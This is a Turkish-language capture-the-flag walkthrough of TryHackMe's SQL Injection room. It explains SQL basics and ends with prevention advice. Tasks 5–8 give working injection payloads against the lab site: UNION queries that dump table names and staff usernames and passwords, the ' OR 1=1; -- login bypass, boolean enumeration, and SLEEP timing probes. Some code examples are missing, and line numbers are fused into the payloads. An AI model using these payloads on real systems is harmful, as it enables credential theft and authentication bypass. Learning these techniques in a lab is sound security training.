TryHackMe: SQL Injection Walkthrough — giselle
TryHackMe: SQL Injection Walkthrough

Merhaba, bugün TryHackMe’nin SQL Injection odasının çözümünü anlatacağım.
Görev 1 Özet
SQL (Structured Query Language) Enjeksiyonu, yaygın olarak SQLi olarak anılır ve kötü niyetli sorguların çalıştırılmasına neden olan bir web uygulaması veritabanı sunucusu saldırısıdır. Bir web uygulaması, kullanıcıdan gelen ve düzgün şekilde doğrulanmamış girdileri kullanarak bir veritabanıyla iletişim kurduğunda, bir saldırganın özel ve müşteri verilerini çalma, silme veya değiştirme ve aynı zamanda web uygulamalarının kimlik doğrulama yöntemlerine saldırma riskini beraberinde getirir. İşte bu yüzden SQLi hem en eski web uygulaması açıklarından biri olmasına rağmen hem de en yıkıcı olanı olabilir.
Bu odada veritabanlarının ne olduğunu, SQL’in ne olduğunu ve temel SQL komutlarını, SQL açıklarının nasıl tespit edileceğini, SQLi açıklarının nasıl exploit edileceğini ve bir geliştirici olarak kendinizi SQL Injection’a karşı nasıl koruyacağınızı öğreneceksiniz.

Görev 2 Veritabanı Nedir?
Veritabanı nedir?
Veritabanı, verileri düzenli bir şekilde elektronik olarak depolamanın bir yoludur. Veritabanı, Veritabanı Yönetim Sistemi (DBMS) tarafından kontrol edilir. DBMS’ler İlişkisel ve İlişkisel Olmayan olmak üzere iki kategoriye ayrılır. Bu odada İlişkisel veritabanlarına odaklanacağız. Yaygın örnekler MySQL, Microsoft SQL Server, Access, PostgreSQL ve SQLite’tır.
Bir DBMS içinde her biri kendi ilgili verilerini içeren birden fazla veritabanı olabilir. Örneğin “shop” adlı bir veritabanınız olabilir. Bu veritabanında satın alınabilecek ürünler, çevrimiçi mağazanıza kaydolan kullanıcılar ve alınan siparişler hakkında bilgileri ayrı tablolarda saklarsınız.
Tablolar nedir?
Tablo sütunlar ve satırlardan oluşur. Bir tabloyu, sütunların soldan sağa hücre adlarını içerdiği ve satırların yukarıdan aşağıya gerçek verileri içerdiği bir ızgara olarak düşünebilirsiniz.
İlişkisel ve İlişkisel Olmayan Veritabanları:
İlişkisel veritabanı, bilgileri tablolarda saklar. Tablolar çoğunlukla aralarında paylaşılan bilgiler içerir. İlişkisel olmayan veritabanları (NoSQL olarak da bilinir) ise verileri saklamak için tablo, sütun ve satır kullanmaz. Popüler örnekler MongoDB, Cassandra ve ElasticSearch’tür.

Görev 3 SQL Nedir?
SQL (Structured Query Language), veritabanlarını sorgulamak için kullanılan zengin özellikli bir dildir. Bu SQL sorguları genellikle ifadeler olarak anılır.
SELECT
SELECT sorgusu veritabanından veri almak için kullanılır:



WHERE cümlesi ile tam olarak ihtiyaç duyduğumuz verileri belirleyebiliriz:


LIKE cümlesi, yüzde işaretiyle % temsil edilen joker karakterini kullanarak belirli karakterlerle başlayan, içeren veya biten verileri belirtmenizi sağlar:

UNION
UNION ifadesi, tek veya birden fazla tablodan veri almak için iki veya daha fazla SELECT ifadesinin sonuçlarını birleştirir.

INSERT
INSERT ifadesi veritabanına yeni bir veri satırı eklemek istediğimizi belirtir:



Görev 4 SQL Injection Nedir?
Bir web uygulaması SQL kullandığında SQL Injection noktası, kullanıcı tarafından sağlanan verilerin SQL sorgusuna dahil edildiği andır.
Nasıl görünür?
Her blog girişinin benzersiz bir kimlik numarasına sahip olduğu çevrimiçi bir blogla karşılaştığınızı düşünün. Blog girişleri herkese açık veya gizli olarak ayarlanabilir. Her blog girişinin URL’si şöyle görünebilir:
1https://website.thm/blog?id=1Web uygulaması makaleyi veritabanından almak için şöyle bir SQL ifadesi kullanıyor olabilir:
1SELECT * from blog where id=1 and private=0 LIMIT 1;Kullanıcı girdisini SQL sorgusuna dahil ettiğimizde SQL Injection ortaya çıkar. Saldırgan URL’yi şu şekilde değiştirebilir:
1https://website.thm/blog?id=2;--Bu, SQL sorgusunu şöyle dönüştürür:
1SELECT * from blog where id=2; -- and private=0 LIMIT 1;URL’deki noktalı virgül SQL ifadesinin sonunu işaret eder ve iki tire her şeyin yorum olarak ele alınmasını sağlar. Böylece yalnızca şu sorgu çalışır:
1SELECT * from blog where id=2;Bu, makaleyi genel ya da gizli olmasına bakılmaksızın id=2 ile döndürür. Bu, In-Band SQL Injection olarak adlandırılan bir SQL Injection açığı türüdür. Toplamda 3 tür mevcuttur: In-Band, Blind ve Out-Of-Band.

Görev 5 In-Band SQLi
In-Band SQL Injection
In-Band SQL Injection tespit edilmesi ve exploit edilmesi en kolay türdür. In-Band, açığı exploit etmek ve sonuçları almak için aynı iletişim yönteminin kullanılmasını ifade eder.
Hata Tabanlı SQL Injection
Bu SQL Injection türü veritabanı yapısı hakkında bilgi edinmek için en faydalı olanıdır. Çünkü veritabanından gelen hata mesajları doğrudan tarayıcı ekranına yazdırılır.
Union Tabanlı SQL Injection
Bu enjeksiyon türü, sayfaya ek sonuçlar döndürmek için SQL UNION operatörünü SELECT ifadesiyle birlikte kullanır. Bu yöntem, SQL Injection açığı aracılığıyla büyük miktarda veri çıkarmanın en yaygın yoludur.
Pratik:
Hata tabanlı SQL Injection’ı keşfetmenin anahtarı, belirli karakterler denenene kadar hata mesajı üretmek için kodun SQL sorgusunu kırmaktır. Bunlar en yaygın olarak tek tırnak ' veya çift tırnak "‘dir.
11 UNION SELECT 1
21 UNION SELECT 1,2
31 UNION SELECT 1,2,3
40 UNION SELECT 1,2,3
50 UNION SELECT 1,2,database()
60 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
70 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

Görev 6: Blind SQLi, Kimlik Doğrulama Atlatma
Blind SQLi
In-Band SQL Injection’dan farklı olarak, saldırımızın sonuçlarını doğrudan ekranda göremiyoruz. Hata mesajları devre dışı bırakılmış olabilir ancak enjeksiyon çalışmaya devam eder.
Kimlik Doğrulama Atlatma
Giriş formu gibi kimlik doğrulama yöntemlerini atlatmak, en basit Blind SQL Injection tekniklerinden biridir. Veritabanından veri almakla değil, giriş ekranını geçmekle ilgileniyoruz.
1select * from users where username='%username%' and password='%password%' LIMIT 1;Parola alanına şunu girerek her zaman doğru döndüren bir sorgu oluşturabiliriz:
1' OR 1=1; --Bu, SQL sorgusunu şöyle dönüştürür:
1select * from users where username='' and password='' OR 1=1;1=1 her zaman doğru olduğundan ve OR operatörü kullandığımızdan bu sorgu her zaman doğru döner.



Görev 7: Blind SQLi, Boolean Tabanlı
Boolean Tabanlı
Boolean tabanlı SQL Injection, enjeksiyon girişimlerimizden aldığımız yanıtı ifade eder. Bu yanıt doğru/yanlış, evet/hayır, açık/kapalı, 1/0 veya yalnızca iki sonucu olabilecek herhangi bir yanıt olabilir.
1https://website.thm/checkuser?username=adminSunucu {"taken":true} döndürüyor. Bunu kullanarak veritabanı adını karakter karakter enumerate edebiliriz:
1admin123' UNION SELECT 1,2,3 where database() like 's%'; --Veritabanı adı s harfiyle başlıyorsa doğru yanıt alırız. Tüm karakterleri bu şekilde keşfedebiliriz: sqli_three.
1admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%'; --
2admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
3admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%


Görev 8: Blind SQLi, Zaman Tabanlı
Zaman Tabanlı
Zaman tabanlı blind SQL Injection, Boolean tabanlı yönteme çok benzer. Aynı istekler gönderilir, ancak bu sefer sorgularınızın doğru ya da yanlış olduğuna dair görsel bir gösterge yoktur. Bunun yerine doğru bir sorgunun göstergesi, sorgunun tamamlanması için geçen süredir. Bu gecikme, SLEEP(x) gibi yerleşik yöntemler UNION ifadesiyle birlikte kullanılarak oluşturulur.
1admin123' UNION SELECT SLEEP(5); --
2admin123' UNION SELECT SLEEP(5),2; --
Görev 9 Out-of-Band SQLi
Out-of-Band SQL Injection, veritabanı sunucusunda belirli özelliklerin etkinleştirilmesine ya da web uygulamasının iş mantığına bağlı olduğundan o kadar yaygın değildir. Saldırıyı başlatmak için bir kanal, sonuçları toplamak için başka bir kanal olmak üzere iki farklı iletişim kanalına sahip olmasıyla karakterize edilir.

Görev 10 Önleme
Hazırlanmış İfadeler (Parametreli Sorgular):
Hazırlanmış bir sorguda geliştirici önce SQL sorgusunu yazar ve ardından kullanıcı girdilerini parametre olarak ekler. Bu sayede SQL kodu yapısı değişmez ve veritabanı sorgu ile veri arasındaki farkı anlayabilir.
Girdi Doğrulama:
Girdi doğrulama, bir SQL sorgusuna neyin girileceğini korumak için uzun yol kat edebilir. İzin listesi uygulamak girdileri belirli dizelerle kısıtlayabilir.
Kullanıcı Girdisini Kaçırma:
' " $ \ gibi karakterleri içeren kullanıcı girdilerine izin vermek SQL sorgularının bozulmasına neden olabilir. Kullanıcı girdisini kaçırmak, bu karakterlerin önüne ters eğik çizgi \ eklemek ve bunları düz bir dize olarak ele almak anlamına gelir.

Son sorumuzu bulduk ve odayı tamamladık. Hacklemaya devam!
Pratik mükemmelleştirir. :)